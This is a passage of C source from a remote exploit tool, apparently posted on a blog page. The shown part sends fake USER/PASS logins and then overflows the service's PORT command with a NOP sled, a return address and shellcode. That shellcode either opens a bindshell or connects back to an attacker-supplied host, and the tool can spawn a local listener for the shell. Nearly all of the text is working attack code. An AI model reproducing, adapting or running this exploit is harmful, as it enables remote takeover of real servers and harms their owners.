Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
if (verbose)
printf("verbose!\n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);
}
printf("[.] using type '%s'\n",targets[type].os);
// -------------------- core
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}
printf("[+] connected, sending exploit\n");
buff=(char *)malloc(4096);
bzero(buff,4096);
sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);
setoff(targets[type].gpa, targets[type].lla);
if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));
send(s,buff,strlen(buff),0);
free(buff);
close(s);
// -------------------- end of core
if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}
if (pid) wait(&pid);
exit(0);
}
订阅:
博文 (Atom)